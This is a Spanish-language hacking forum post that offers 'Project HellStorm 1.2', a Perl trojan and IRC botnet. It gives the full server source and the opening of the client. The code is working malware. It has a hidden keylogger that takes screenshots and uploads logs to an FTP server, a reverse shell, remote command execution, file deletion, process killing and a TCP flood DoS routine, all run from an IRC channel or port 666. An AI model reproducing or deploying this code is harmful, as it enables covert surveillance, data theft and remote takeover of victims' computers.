help_outline
Ayudanos!
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Perl] Project HellStorm 1.2

  • 3 Respuestas
  • 3054 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Octubre 23, 2015, 10:07:07 pm »
Hola hoy les traigo un troyano en Perl que funciona mediante sockets y como IRC Botnet , tiene las siguientes opciones :

[++] Opciones del troyano

  • Navegador de archivos : borrar,renombrar
  • Da informacion sobre la computadora
  • Abrir y cerrar CD
  • Ocultar y mostrar barra de inicio o iconos del escritorio
  • Hacer hablar a la computadora para que diga lo que queramos
  • Mandar mensajitos
  • Consola de comandos
  • Administracion de procesos
  • ReverseShell
  • Cambiar fondo de escritorio
  • Mover mouse
  • Cargar word para que escriba solo
  • DOS Attack : en el caso de IRC podran hacer un ataque DDOS si tienen varios infectados
  • Keylogger en segundo plano : sube logs y fotos tomadas a un servidor FTP


Una imagen :



Los codigos :

server.pl

Código: Perl
  1. #!usr/bin/perl
  2. #Project HellStorm 1.2
  3. #(C) Doddy Hackman 2015
  4. #Necessary modules
  5. #
  6. #ppm install http://www.bribes.org/perl/ppm/Win32-API.ppd
  7. #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
  8. #
  9. #Use "perl2exe -gui server.pl" to hide console
  10. #
  11.  
  12. use Win32::OLE;
  13. use Win32::OLE qw(in);
  14. use Win32::Process;
  15. use Win32;
  16. use Win32::API;
  17. use Win32::GuiTest
  18.   qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
  19. use Win32::Clipboard;
  20. use threads;
  21. use Net::FTP;
  22. use Win32::File;
  23. use Cwd;
  24. use IO::Socket;
  25. use Win32::Job;
  26. use Win32::GuiTest qw(MouseMoveAbsPix SendMessage);
  27.  
  28. if ( $^O eq 'MSWin32' ) {
  29.     use Win32::Console;
  30.     Win32::Console::Free();
  31. }
  32.  
  33. # FTP Configuration
  34.  
  35. my $host_ftp = "localhost";    # Edit
  36. my $user_ftp = "doddy";        # Edit
  37. my $pass_ftp = "123";          # Edit
  38.  
  39. # IRC Configuration
  40.  
  41. my $host_irc  = "localhost";    # Edit
  42. my $canal_irc = "#locos";       # Edit
  43. my $port_irc  = "6667";         # Edit
  44. my $nick_irc  = dameip();       # Edit
  45.  
  46. # Threads
  47.  
  48. # You must comment on the thread that you will not use
  49.  
  50. my $comando4 = threads->new( \&conexion_directa );
  51.  
  52. #my $comando5 = threads->new( \&keylogger );
  53. #my $comando6 = threads->new(\&ircnow);
  54.  
  55. $comando4->join();
  56.  
  57. #$comando5->join();
  58.  
  59. #$comando6->join();
  60.  
  61. #
  62.  
  63. sub ircnow {
  64.  
  65.     my $soquete = new IO::Socket::INET(
  66.         PeerAddr => $host_irc,
  67.         PeerPort => $port_irc,
  68.         Proto    => "tcp"
  69.     );
  70.  
  71.     print $soquete "NICK $nick_irc\r\n";
  72.     print $soquete "USER $nick_irc 1 1 1 1\r\n";
  73.     print $soquete "JOIN $canal_irc\r\n";
  74.  
  75.     while ( my $logar = <$soquete> ) {
  76.         print "\r\n";
  77.         chomp($logar);
  78.  
  79.         if ( $logar =~ /^PING(.*)$/i ) {
  80.             print $soquete "PONG $1\r\n";
  81.         }
  82.  
  83.         if ( $logar =~ /:$nick_irc help/g ) {
  84.  
  85.             my @commands = (
  86.                 "msgbox <>",            "getinfo",
  87.                 "cmd <>",               "dir",
  88.                 "cd <>",                "del <>",
  89.                 "rename :<>:<>:",       "cwd",
  90.                 "verlogs",              "word :<>:",
  91.                 "crazymouse",           "cambiarfondo :<>:",
  92.                 "opencd",               "closedcd",
  93.                 "dosattack :<>:<>:<>:", "speak :<>:",
  94.                 "iniciochau",           "iniciovuelve",
  95.                 "iconochau",            "iconovuelve",
  96.                 "backshell :<>:<>:",    "procesos",
  97.                 "cerrarproceso  :<>:<>:"
  98.             );
  99.  
  100.             print $soquete
  101.               "PRIVMSG $canal_irc : HellStorm (C) 2011 Doddy Hackman\r\n";
  102.             print $soquete "PRIVMSG $canal_irc : Commands : \r\n";
  103.             for (@commands) {
  104.                 print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
  105.             }
  106.         }
  107.  
  108.         if ( $logar =~ /:$nick_irc msgbox (.*)/g ) {
  109.             my $msg = $1;
  110.             chomp $msg;
  111.             cheats( "mensaje", $msg );
  112.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  113.         }
  114.  
  115.         if ( $logar =~ /:$nick_irc getinfo/g ) {
  116.             my $re = getinfo();
  117.             if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
  118.                 print $soquete "PRIVMSG $canal_irc : [+] Domain : $1\r\n";
  119.                 print $soquete "PRIVMSG $canal_irc : [+] Chip : $2\r\n";
  120.                 print $soquete "PRIVMSG $canal_irc : [+] Version : $3\r\n";
  121.                 print $soquete "PRIVMSG $canal_irc : [+] Username : $4\r\n";
  122.                 print $soquete "PRIVMSG $canal_irc : [+] OS : $5\r\n";
  123.             }
  124.         }
  125.  
  126.         if ( $logar =~ /:$nick_irc cmd (.*)/ ) {
  127.             my $cmda = $1;
  128.             chomp $cmda;
  129.             my @re = cmd($cmda);
  130.             for (@re) {
  131.                 print $soquete "PRIVMSG $canal_irc : $_\r\n";
  132.             }
  133.         }
  134.  
  135.         if ( $logar =~ /:$nick_irc dir/ ) {
  136.             my @files = navegador("listar");
  137.             for (@files) {
  138.                 if ( -f $_ ) {
  139.                     print $soquete "PRIVMSG $canal_irc : [File] : " . $_
  140.                       . "\r\n";
  141.                 }
  142.                 else {
  143.                     print $soquete "PRIVMSG $canal_irc : [Directory] : " . $_
  144.                       . "\r\n";
  145.                 }
  146.             }
  147.         }
  148.  
  149.         if ( $logar =~ /:$nick_irc cd (.*)/ ) {
  150.             my $di = $1;
  151.             chomp $di;
  152.             if ( navegador( "cd", $di ) ) {
  153.                 print $soquete "PRIVMSG $canal_irc : [+] Directory Changed\r\n";
  154.             }
  155.             else {
  156.                 print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
  157.             }
  158.         }
  159.  
  160.         if ( $logar =~ /:$nick_irc del (.*)/ ) {
  161.             my $file = $1;
  162.             chomp $file;
  163.             if ( navegador( "borrar", $1 ) ) {
  164.                 print $soquete "PRIVMSG $canal_irc : [+] File deleted\r\n";
  165.             }
  166.             else {
  167.                 print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
  168.             }
  169.         }
  170.  
  171.         if ( $logar =~ /:$nick_irc rename :(.*):(.*):/ ) {
  172.             my ( $a, $b ) = ( $1, $2 );
  173.             if ( navegador( "rename", $a, $b ) ) {
  174.                 print $soquete "PRIVMSG $canal_irc : [+] Changed\r\n";
  175.             }
  176.             else {
  177.                 print $soquete "PRIVMSG $canal_irc : [-] Error\r\n";
  178.             }
  179.         }
  180.  
  181.         if ( $logar =~ /:$nick_irc cwd/ ) {
  182.             print $soquete "PRIVMSG $canal_irc : [+] Directory : "
  183.               . getcwd() . "\r\n";
  184.         }
  185.  
  186.         if ( $logar =~ /:$nick_irc verlogs/ ) {
  187.             print $soquete "PRIVMSG $canal_irc : [+] Logs\r\n";
  188.             my @word = openfilex("logs.txt");
  189.             for (@word) {
  190.                 sleep 3;
  191.                 print $soquete "PRIVMSG $canal_irc : " . $_ . "\r\n";
  192.             }
  193.         }
  194.  
  195.         if ( $logar =~ /:$nick_irc word :(.*):/ig ) {
  196.             my $msg = $1;
  197.             cheats( "word", $msg );
  198.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  199.         }
  200.  
  201.         if ( $logar =~ /:$nick_irc crazymouse/ig ) {
  202.             cheats("crazymouse");
  203.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  204.         }
  205.  
  206.         if ( $logar =~ /:$nick_irc cambiarfondo :(.*):/ig ) {
  207.             my $url = $1;
  208.             chomp $url;
  209.             cheats( "cambiarfondo", $url );
  210.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  211.         }
  212.  
  213.         if ( $logar =~ /:$nick_irc opencd/ig ) {
  214.             cheats( "cd", "1" );
  215.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  216.         }
  217.  
  218.         if ( $logar =~ /:$nick_irc closedcd/ig ) {
  219.             cheats( "cd", "0" );
  220.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  221.         }
  222.  
  223.         if ( $logar =~ /dosattack :(.*):(.*):(.*):/ ) {
  224.             my ( $i, $p, $t ) = ( $1, $2, $3 );
  225.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  226.             dosattack( $i, $p, $t );
  227.         }
  228.  
  229.         if ( $logar =~ /:$nick_irc speak :(.*):/ig ) {
  230.             my $t = $1;
  231.             chomp $t;
  232.             cheats( "speak", $t );
  233.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  234.         }
  235.  
  236.         if ( $logar =~ /:$nick_irc iniciochau/ ) {
  237.             cheats( "inicio", "1" );
  238.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  239.         }
  240.  
  241.         if ( $logar =~ /:$nick_irc iniciovuelve/ ) {
  242.             cheats( "inicio", "0" );
  243.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  244.         }
  245.  
  246.         if ( $logar =~ /:$nick_irc iconochau/ ) {
  247.             cheats( "iconos", "1" );
  248.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  249.         }
  250.  
  251.         if ( $logar =~ /:$nick_irc iconovuelve/ ) {
  252.             cheats( "iconos", "0" );
  253.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  254.         }
  255.  
  256.         if ( $logar =~ /:$nick_irc backshell :(.*):(.*):/ig ) {
  257.             backshell( $1, $2 );
  258.             print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  259.         }
  260.  
  261.         if ( $logar =~ /:$nick_irc procesos/ ) {
  262.  
  263.             my %vida = adminprocess("listar");
  264.             print $soquete "PRIVMSG $canal_irc : [+] Process Found : "
  265.               . int( keys %vida ) . "\r\n";
  266.             for my $data ( keys %vida ) {
  267.                 print $soquete "PRIVMSG $canal_irc : [+] Process : "
  268.                   . $data
  269.                   . " [+] PID : "
  270.                   . $vida{$data} . "\r\n";
  271.             }
  272.         }
  273.  
  274.         if ( $logar =~ /:$nick_irc cerrarproceso :(.*):(.*):/ ) {
  275.             my ( $b, $a ) = ( $1, $2 );
  276.             if ( adminprocess( "cerrar", $a, $b ) ) {
  277.                 print $soquete "PRIVMSG $canal_irc : [+] Yes , master\r\n";
  278.             }
  279.         }
  280.  
  281.     }
  282. }
  283.  
  284. sub conexion_directa {
  285.  
  286.     my $sock = IO::Socket::INET->new(
  287.         LocalPort => 666,
  288.         Listen    => 10,
  289.         Proto     => 'tcp',
  290.         Reuse     => 1
  291.     );
  292.  
  293.     while ( my $con = $sock->accept ) {
  294.         $resultado = <$con>;
  295.  
  296.         if ( $resultado =~ /msgbox (.*)/ig ) {
  297.             my $msg = $1;
  298.             cheats( "mensaje", $msg );
  299.         }
  300.  
  301.         if ( $resultado =~ /infor/ig ) {
  302.             print $con getinfo();
  303.         }
  304.  
  305.         if ( $resultado =~ /word :(.*):/ig ) {
  306.             my $msg = $1;
  307.             cheats( "word", $msg );
  308.         }
  309.  
  310.         if ( $resultado =~ /crazymouse/ig ) {
  311.             cheats("crazymouse");
  312.         }
  313.  
  314.         if ( $resultado =~ /cambiarfondo (.*)/ig ) {
  315.             my $url = $1;
  316.             cheats( "cambiarfondo", $url );
  317.         }
  318.  
  319.         if ( $resultado =~ /opencd/ig ) {
  320.             cheats( "cd", "1" );
  321.         }
  322.  
  323.         if ( $resultado =~ /closedcd/ig ) {
  324.             cheats( "cd", "0" );
  325.         }
  326.  
  327.         if ( $resultado =~ /dosattack :(.*):(.*):(.*):/ ) {
  328.             my ( $i, $p, $t ) = ( $1, $2, $3 );
  329.             dosattack( $i, $p, $t );
  330.         }
  331.  
  332.         if ( $resultado =~ /speak :(.*):/ig ) {
  333.             my $t = $1;
  334.             cheats( "speak", $t );
  335.         }
  336.  
  337.         if ( $resultado =~ /iniciochau/ ) {
  338.             cheats( "inicio", "1" );
  339.         }
  340.         if ( $resultado =~ /iniciovuelve/ ) {
  341.             cheats( "inicio", "0" );
  342.         }
  343.  
  344.         if ( $resultado =~ /iconochau/ ) {
  345.             cheats( "iconos", "1" );
  346.         }
  347.         if ( $resultado =~ /iconovuelve/ ) {
  348.             cheats( "iconos", "0" );
  349.         }
  350.  
  351.         if ( $resultado =~ /backshell :(.*):(.*):/ig ) {
  352.             backshell( $1, $2 );
  353.         }
  354.  
  355.         if ( $resultado =~ /comando :(.*):/ig ) {
  356.             my $cmd = $1;
  357.             my @re  = cmd($cmd);
  358.             print $con @re;
  359.         }
  360.  
  361.         if ( $resultado =~ /mostrarpro/ ) {
  362.  
  363.             my %vida = adminprocess("listar");
  364.  
  365.             for my $data ( keys %vida ) {
  366.                 print $con "PROXEC" . $data . "PROXEC\r\n";
  367.                 print $con "PIDX" . $vida{$data} . "PIDX\r\n";
  368.             }
  369.  
  370.         }
  371.  
  372.         if ( $resultado =~ /chauproce K0BRA(.*)K0BRA(.*)K0BRA/ ) {
  373.             my ( $b, $a ) = ( $1, $2 );
  374.             if ( adminprocess( "cerrar", $a, $b ) ) {
  375.                 print $con "ok";
  376.             }
  377.         }
  378.  
  379.         if ( $resultado =~ /chdirnow K0BRA(.*)K0BRA/ ) {
  380.             my $di = $1;
  381.             if ( navegador( "cd", $di ) ) {
  382.                 print $con "ok";
  383.             }
  384.         }
  385.         if ( $resultado =~ /borrarfile K0BRA(.*)K0BRA/ ) {
  386.             if ( navegador( "borrar", $1 ) ) {
  387.                 print $con "ok";
  388.             }
  389.         }
  390.         if ( $resultado =~ /borrardir K0BRA(.*)K0BRA/ ) {
  391.             if ( navegador( "borrar", $1 ) ) {
  392.                 print $con "ok";
  393.             }
  394.         }
  395.         if ( $resultado =~ /rename :(.*):(.*):/ ) {
  396.             my ( $a, $b ) = ( $1, $2 );
  397.             if ( navegador( "rename", $a, $b ) ) {
  398.                 print $con "ok";
  399.             }
  400.         }
  401.  
  402.         if ( $resultado =~ /getcwd/ ) {
  403.             print $con getcwd();
  404.         }
  405.  
  406.         if ( $resultado =~ /verlogs/ ) {
  407.             print $con openfile("logs.txt");
  408.         }
  409.  
  410.         if ( $resultado =~ /dirnow ACATOY(.*)ACATOY/ ) {
  411.             my @files = navegador("listar");
  412.             for (@files) {
  413.                 if ( -f $_ ) {
  414.                     print $con "FILEX" . $_ . "FILEX" . "\r\n";
  415.                 }
  416.                 else {
  417.                     print $con "DIREX" . $_ . "DIREX" . "\r\n";
  418.                 }
  419.             }
  420.         }
  421.     }
  422. }
  423.  
  424. sub keylogger {
  425.  
  426.     my $come = new Win32::API( "user32", "GetAsyncKeyState", "N", "I" );
  427.     my $tengo = 0;
  428.  
  429.     hideit( $0, "hide" );
  430.  
  431.     my $comando1 = threads->new( \&capture_windows );
  432.     my $comando2 = threads->new( \&capture_keys );
  433.     my $comando3 = threads->new( \&capture_screen );
  434.  
  435.     $comando1->join();
  436.     $comando2->join();
  437.     $comando3->join();
  438.  
  439.     sub capture_windows {
  440.  
  441.         while (1) {
  442.  
  443.             my $win1 = GetForegroundWindow();
  444.             my $win2 = GetForegroundWindow();
  445.  
  446.             if ( $win1 != $win2 ) {
  447.                 my $nombre = GetWindowText($win1);
  448.                 chomp($nombre);
  449.                 if ( $nombre ne "" ) {
  450.                     savefile( "logs.txt", "\n\n[" . $nombre . "]\n\n" );
  451.                 }
  452.             }
  453.         }
  454.         return 1;
  455.     }
  456.  
  457.     sub capture_keys {
  458.  
  459.         while (1) {
  460.  
  461.             my $test1;
  462.             my $test2;
  463.  
  464.             for my $num ( 0x30 .. 0x39 ) {
  465.  
  466.                 if ( dame($num) ) {
  467.                     savefile( "logs.txt", chr($num) );
  468.                 }
  469.             }
  470.  
  471.             if ( dame(0x14) ) {
  472.                 $test1 = 1;
  473.                 $tengo++;
  474.             }
  475.  
  476.             for my $num ( 0x41 .. 0x5A ) {
  477.  
  478.                 if ( dame($num) ) {
  479.  
  480.                     if ( dame(0x20) ) {
  481.                         savefile( "logs.txt", " " );
  482.                     }
  483.  
  484.                     if ( dame(0x32) ) {
  485.                         savefile( "logs.txt", "\n[enter]\n\n" );
  486.                     }
  487.  
  488.                     unless ( verpar($tengo) eq 1 ) {
  489.                         savefile( "logs.txt", chr($num) );
  490.                     }
  491.  
  492.                     if ( dame(0x10) or dame(0xA0) or dame(0xA1) ) {
  493.                         $test2 = 1;
  494.                     }
  495.  
  496.                     unless ( $test1 eq 1 or $test2 eq 1 ) {
  497.                         if ( $num >= 0x41 ) {
  498.                             if ( $num <= 0x5A ) {
  499.                                 if ( verpar($tengo) eq 1 ) {
  500.                                     savefile( "logs.txt", chr( $num + 32 ) );
  501.                                 }
  502.                             }
  503.                         }
  504.                     }
  505.                 }
  506.             }
  507.         }
  508.         return 1;
  509.     }
  510.  
  511.     sub capture_screen {
  512.  
  513.         $numero = 0;
  514.  
  515.         while (1) {
  516.  
  517.             sleep 120;
  518.  
  519.             subirftp( "logs.txt", "logs.txt" );
  520.  
  521.             $numero++;
  522.  
  523.             SendKeys("%{PRTSCR}");
  524.  
  525.             my $a = Win32::Clipboard::GetBitmap();
  526.  
  527.             open( FOTO, ">" . $numero . ".bmp" );
  528.             binmode(FOTO);
  529.             print FOTO $a;
  530.             close FOTO;
  531.  
  532.             hideit( $numero . ".bmp", "hide" );
  533.             subirftp( $numero . ".bmp", $numero . ".bmp" );
  534.         }
  535.     }
  536.  
  537.     sub dame {
  538.         return ( $come->Call(@_) & 1 );
  539.     }
  540.  
  541.     sub savefile {
  542.  
  543.         open( SAVE, ">>" . $_[0] );
  544.         print SAVE $_[1];
  545.         close SAVE;
  546.  
  547.         hideit( $_[0], "hide" );
  548.  
  549.     }
  550.  
  551.     sub hideit {
  552.         if ( $_[1] eq "show" ) {
  553.             Win32::File::SetAttributes( $_[0], NORMAL );
  554.         }
  555.         elsif ( $_[1] eq "hide" ) {
  556.             Win32::File::SetAttributes( $_[0], HIDDEN );
  557.         }
  558.         else {
  559.             print "error\n";
  560.         }
  561.     }
  562.  
  563.     sub subirftp {
  564.  
  565.         if ( $ser = Net::FTP->new($host_ftp) ) {
  566.             if ( $ser->login( $user_ftp, $pass_ftp ) ) {
  567.                 $ser->mkdir( getmyip() );
  568.                 $ser->binary();
  569.                 if (
  570.                     $ser->put(
  571.                         getcwd() . "/" . $_[0], getmyip() . "/" . $_[1]
  572.                     )
  573.                   )
  574.                 {
  575.                     return true;
  576.                 }
  577.             }
  578.             $ser->close;
  579.         }
  580.     }
  581.  
  582.     sub verpar {
  583.         return ( $_[0] % 2 == 0 ) ? "1" : "2";
  584.     }
  585.  
  586.     sub getmyip {
  587.         my $get = gethostbyname("");
  588.         return inet_ntoa($get);
  589.     }
  590.  
  591. }
  592.  
  593. sub getinfo {
  594.     return
  595.         ":"
  596.       . Win32::DomainName() . ":"
  597.       . Win32::GetChipName() . ":"
  598.       . Win32::GetOSVersion() . ":"
  599.       . Win32::LoginName() . ":"
  600.       . Win32::GetOSName() . ":";
  601. }
  602.  
  603. sub cheats {
  604.  
  605.     my $as = new Win32::API( 'user32', 'FindWindow', 'PP', 'N' );
  606.     my $b  = new Win32::API( 'user32', 'ShowWindow', 'NN', 'N' );
  607.  
  608.     if ( $_[0] eq "cambiarfondo" ) {
  609.         my $file = $_[1];
  610.         my $as =
  611.           new Win32::API( "user32", "SystemParametersInfo", [ L, L, P, L ], L );
  612.         $as->Call( 20, 0, $file, 0 );
  613.     }
  614.  
  615.     if ( $_[0] eq "speak" ) {
  616.         my $texta  = $_[1];
  617.         my $hablax = Win32::OLE->new("SAPI.SpVoice");
  618.         $hablax->Speak( $texta, 0 );
  619.     }
  620.  
  621.     if ( $_[0] eq "crazymouse" ) {
  622.         for my $number ( 1 .. 666 ) {
  623.             MouseMoveAbsPix( $number, $number );
  624.         }
  625.     }
  626.  
  627.     if ( $_[0] eq "word" ) {
  628.         my $text = $_[1];
  629.         system("start winword.exe");
  630.         sleep 4;
  631.         SendKeys($text);
  632.     }
  633.  
  634.     if ( $_[0] eq "cd" ) {
  635.  
  636.         my $ventana = Win32::API->new( "winmm", "mciSendString", "PPNN", "N" );
  637.         my $rta = ' ' x 127;
  638.         if ( $_[1] eq "1" ) {
  639.             $ventana->Call( 'set CDAudio door open', $rta, 127, 0 );
  640.         }
  641.         else {
  642.             $ventana->Call( 'set CDAudio door closed', $rta, 127, 0 );
  643.         }
  644.     }
  645.  
  646.     if ( $_[0] eq "inicio" ) {
  647.  
  648.         if ( $_[1] eq "1" ) {
  649.             $handlex = $as->Call( "Shell_TrayWnd", 0 );
  650.             $b->Call( $handlex, 0 );
  651.         }
  652.         else {
  653.             $handlex = $as->Call( "Shell_TrayWnd", 0 );
  654.             $b->Call( $handlex, 1 );
  655.         }
  656.  
  657.     }
  658.  
  659.     if ( $_[0] eq "iconos" ) {
  660.  
  661.         if ( $_[1] eq "1" ) {
  662.  
  663.             $handle = $as->Call( 0, "Program Manager" );
  664.             $b->Call( $handle, 0 );
  665.         }
  666.         else {
  667.             $handle = $as->Call( 0, "Program Manager" );
  668.             $b->Call( $handle, 1 );
  669.         }
  670.     }
  671.  
  672.     if ( $_[0] eq "mensaje" ) {
  673.         if ( $_[1] ne "" ) {
  674.             my $msg = $_[1];
  675.             chomp $msg;
  676.             Win32::MsgBox( $msg, 0, "Mensaje de Dios" );
  677.         }
  678.     }
  679. }
  680.  
  681. sub backshell {
  682.  
  683.     my ( $ip, $port ) = ( $_[0], $_[1] );
  684.  
  685.     $ip =~ s/(\s)+$//;
  686.     $port =~ s/(\s)+$//;
  687.  
  688.     conectar( $ip, $port );
  689.     tipo();
  690.  
  691.     sub conectar {
  692.         socket( REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp') );
  693.         connect( REVERSE, sockaddr_in( $_[1], inet_aton( $_[0] ) ) );
  694.         open( STDIN,  ">&REVERSE" );
  695.         open( STDOUT, ">&REVERSE" );
  696.         open( STDERR, ">&REVERSE" );
  697.     }
  698.  
  699.     sub tipo {
  700.         print "\n[*] Reverse Shell Starting...\n\n";
  701.         if ( $^O =~ /Win32/ig ) {
  702.             infowin();
  703.             system("cmd.exe");
  704.         }
  705.         else {
  706.             infolinux();
  707.             system("export TERM=xterm;exec sh -i");
  708.         }
  709.     }
  710.  
  711.     sub infowin {
  712.         print "[+] Domain Name : " . Win32::DomainName() . "\n";
  713.         print "[+] OS Version : " . Win32::GetOSName() . "\n";
  714.         print "[+] Username : " . Win32::LoginName() . "\n\n\n";
  715.     }
  716.  
  717.     sub infolinux {
  718.         print "[+] System information\n\n";
  719.         system("uname -a");
  720.         print "\n\n";
  721.     }
  722. }
  723.  
  724. sub cmd {
  725.  
  726.     my $job = Win32::Job->new;
  727.     $job->spawn(
  728.         "cmd",
  729.         qq{cmd /C $_[0]},
  730.         {
  731.             no_window => "true",
  732.             stdout    => "logx.txt",
  733.             stderr    => "logx.txt"
  734.         }
  735.     );
  736.     $ok = $job->run("30");
  737.     open( F, "logx.txt" );
  738.     @words = <F>;
  739.     close F;
  740.     unlink("logx.txt");
  741.     return @words;
  742. }
  743.  
  744. sub adminprocess {
  745.  
  746.     if ( $_[0] eq "listar" ) {
  747.         my %procesos;
  748.  
  749.         my $uno = Win32::OLE->new("WbemScripting.SWbemLocator");
  750.         my $dos = $uno->ConnectServer( "", "root\\cimv2" );
  751.  
  752.         foreach my $pro ( in $dos->InstancesOf("Win32_Process") ) {
  753.             $procesos{ $pro->{Caption} } = $pro->{ProcessId};
  754.         }
  755.         return %procesos;
  756.     }
  757.  
  758.     if ( $_[0] eq "cerrar" ) {
  759.  
  760.         my ( $numb, $pid ) = ( $_[1], $_[2] );
  761.  
  762.         if ( Win32::Process::KillProcess( $pid, $numb ) ) {
  763.             return true;
  764.         }
  765.         else {
  766.             return false;
  767.         }
  768.     }
  769. }
  770.  
  771. sub navegador {
  772.  
  773.     my $dir = $_[1];
  774.  
  775.     chomp $dir;
  776.  
  777.     $dir =~ s/(\s)+$//;
  778.  
  779.     if ( $_[0] eq "borrar" ) {
  780.         if ( -f $_[1] ) {
  781.             if ( unlink( getcwd() . "/" . $_[1] ) ) {
  782.                 return true;
  783.             }
  784.             else {
  785.                 return false;
  786.             }
  787.         }
  788.         else {
  789.             if ( rmdir( getcwd() . "/" . $_[1] ) ) {
  790.                 return true;
  791.             }
  792.             else {
  793.                 return false;
  794.             }
  795.         }
  796.     }
  797.     if ( $_[0] eq "cd" ) {
  798.         if ( chdir $dir ) {
  799.             return true;
  800.         }
  801.         else {
  802.             return false;
  803.         }
  804.     }
  805.     if ( $_[0] eq "rename" ) {
  806.         if ( rename( getcwd() . "/" . $_[1], getcwd() . "/" . $_[2] ) ) {
  807.             return true;
  808.         }
  809.         else {
  810.             return false;
  811.         }
  812.     }
  813.     if ( $_[0] eq "listar" ) {
  814.         my @archivos = coleccionar( getcwd() );
  815.         my @all;
  816.         for my $test (@archivos) {
  817.             push( @all, $test );
  818.         }
  819.         return @all;
  820.     }
  821.  
  822.     sub coleccionar {
  823.         opendir DIR, $_[0];
  824.         my @archivos = readdir DIR;
  825.         close DIR;
  826.         return @archivos;
  827.     }
  828. }
  829.  
  830. sub dosattack {
  831.     for ( 1 .. $_[2] ) {
  832.         IO::Socket::INET->new(
  833.             PeerAddr => $_[0],
  834.             PeerPort => $_[1],
  835.             Proto    => "tcp"
  836.         );
  837.     }
  838. }
  839.  
  840. sub openfile {
  841.     my $r;
  842.     open( FILE, $_[0] );
  843.     @wor = <FILE>;
  844.     close FILE;
  845.     for (@wor) {
  846.         $r .= $_;
  847.     }
  848.     return $r;
  849. }
  850.  
  851. sub openfilex {
  852.     my @wor;
  853.     open( FILE, $_[0] );
  854.     @wor = <FILE>;
  855.     close FILE;
  856.     return @wor;
  857. }
  858.  
  859. sub encriptar {
  860.  
  861.     my ( $text, $op ) = @_;
  862.  
  863.     my @re;
  864.     my @va = split( "", $text );
  865.  
  866.     my %valor = (
  867.         "1" => "a",
  868.         "2" => "b",
  869.         "3" => "c",
  870.         "4" => "d",
  871.         "5" => "e",
  872.         "6" => "f",
  873.         "7" => "g",
  874.         "8" => "h",
  875.         "9" => "i",
  876.         "0" => "j",
  877.         "." => "k"
  878.     );
  879.  
  880.     if ( $op eq "encode" ) {
  881.         for my $letra (@va) {
  882.             for my $data ( keys %valor ) {
  883.                 if ( $data eq $letra ) {
  884.                     $letra =~ s/$data/$valor{$data}/g;
  885.                     push( @re, $letra );
  886.                 }
  887.             }
  888.         }
  889.     }
  890.     if ( $op eq "decode" ) {
  891.         for my $letra (@va) {
  892.             for my $data ( keys %valor ) {
  893.                 if ( $valor{$data} eq $letra ) {
  894.                     $letra =~ s/$valor{$data}/$data/g;
  895.                     push( @re, $letra );
  896.                 }
  897.             }
  898.         }
  899.     }
  900.     return @re;
  901. }
  902.  
  903. sub dameip {
  904.  
  905.     my @wor = encriptar( getmyip(), "encode" );
  906.  
  907.     for (@wor) {
  908.         $resultado .= $_;
  909.     }
  910.     return $resultado;
  911. }
  912.  
  913. # The End ?
  914.  

client.pl

Código: Perl
  1. #!usr/bin/perl
  2. #Project HellStorm 1.2
  3. #(C) Doddy Hackman 2015
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. &menu;
  9.  
  10. # Functions
  11.  
  12. sub clean {
  13.     my $os = $^O;
  14.     if ( $os =~ /Win32/ig ) {
  15.         system("cls");
  16.     }
  17.     else {
  18.         system("clear");
  19.     }
  20. }
  21.  
  22. sub head {
  23.  
  24.     clean();
  25.  
  26.     print "\n\n-- == HellStorm 1.2 (C) Doddy Hackman 2015 == --\n\n\n";
  27.  
  28. }
  29.  
  30. sub menu {
  31.  
  32.     &head;
  33.  
  34.     print "[+] Target : ";
  35.     chomp( my $ip = <STDIN> );
  36.  
  37.     my $socket = new IO::Socket::INET(
  38.         PeerAddr => $ip,
  39.         PeerPort => 666,
  40.         Proto    => 'tcp',
  41.         Timeout  => 5
  42.     );
  43.  
  44.     if ($socket) {
  45.         $socket->close;
  46.         &menuo($ip);
  47.     }
  48.     else {
  49.         print "\n\n[-] Server not infected\n";
  50.         <STDIN>;
  51.         &menu;
  52.     }
  53.  
  54. }
  55.  
  56. sub menuo {
  57.  
  58.     &head;
  59.  
  60.     print "[$_[0]] : Online\n\n";
  61.     print q(
  62. 1 : Information
  63. 2 : Files Manager
  64. 3 : Open CD
  65. 4 : Close CD
  66. 5 : Talk
  67. 6 : Message
  68. 7 : Console
  69. 8 : Hide taskbar
  70. 9 : Show taskbar
  71. 10 : Hide Icons
  72. 11 : Show Icons
  73. 12 : Process Manager
  74. 13 : Reverse Shell
  75. 14 : DOS Attack
  76. 15 : Change Wallpaper
  77. 16 : Word Writer
  78. 17 : Move Mouse
  79. 18 : See logs keylogger
  80. 19 : Change target
  81. 20 : Exit
  82.  
  83.  
  84. );
  85.     print "[Option] : ";
  86.     chomp( my $opcion = <STDIN> );
  87.  
  88.     if ( $opcion eq 1 ) {
  89.         print "\n\n[+] Information\n\n";
  90.         $re = daryrecibir( $_[0], "infor" );
  91.         if ( $re =~ /:(.*):(.*):(.*):(.*):(.*):/ ) {
  92.             print "[+] Domain : $1\n";
  93.             print "[+] Chip : $2\n";
  94.             print "[+] Version : $3\n";
  95.             print "[+] Username : $4\n";
